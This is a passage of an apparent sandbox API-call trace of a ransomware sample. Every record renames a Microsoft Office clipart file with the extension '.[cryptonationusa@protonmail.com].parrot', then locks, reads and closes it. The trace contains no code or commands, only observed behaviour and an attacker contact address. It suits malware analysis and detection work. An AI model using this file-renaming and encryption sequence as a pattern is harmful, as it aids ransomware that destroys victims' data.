office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.710] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24da, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.711] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.712] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23c2, lpOverlapped=0x0) returned 1 [0131.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.713] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.713] CloseHandle (hObject=0x27c) returned 1 [0131.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.716] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.717] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.759] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd42, lpOverlapped=0x0) returned 1 [0131.759] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.759] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.759] CloseHandle (hObject=0x27c) returned 1 [0131.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.763] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.763] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.765] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ae, lpOverlapped=0x0) returned 1 [0131.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.765] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.766] CloseHandle (hObject=0x27c) returned 1 [0131.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.769] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1018, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.769] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.771] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf00, lpOverlapped=0x0) returned 1 [0131.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.771] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1018, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.771] CloseHandle (hObject=0x27c) returned 1 [0131.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.775] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x146a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.775] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.776] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.776] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1352, lpOverlapped=0x0) returned 1 [0131.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.778] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.778] CloseHandle (hObject=0x27c) returned 1 [0131.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.780] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.781] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.782] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1016, lpOverlapped=0x0) returned 1 [0131.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.783] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.783] CloseHandle (hObject=0x27c) returned 1 [0131.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.786] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdea, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.786] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.787] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd2, lpOverlapped=0x0) returned 1 [0131.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.788] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.788] CloseHandle (hObject=0x27c) returned 1 [0131.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.791] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x427a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.791] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.792] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4162, lpOverlapped=0x0) returned 1 [0131.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.794] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x427a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.794] CloseHandle (hObject=0x27c) returned 1 [0131.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.797] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.797] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.797] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.799] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0131.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.801] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.801] CloseHandle (hObject=0x27c) returned 1 [0131.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.804] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2490, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.804] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.805] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.806] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.807] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2378, lpOverlapped=0x0) returned 1 [0131.807] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.808] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2490, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.808] CloseHandle (hObject=0x27c) returned 1 [0131.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.811] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.811] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.812] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.813] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.813] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0131.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.815] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.815] CloseHandle (hObject=0x27c) returned 1 [0131.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.819] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.819] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.819] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.820] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.820] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xab74, lpOverlapped=0x0) returned 1 [0131.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.865] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.866] CloseHandle (hObject=0x27c) returned 1 [0131.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.870] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf4b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.870] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.871] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.871] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf39f, lpOverlapped=0x0) returned 1 [0131.875] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.876] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf4b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.876] CloseHandle (hObject=0x27c) returned 1 [0131.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.879] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4744, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.879] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.879] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.962] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.962] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x462c, lpOverlapped=0x0) returned 1 [0131.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.965] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4744, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.966] CloseHandle (hObject=0x27c) returned 1 [0131.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.970] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, 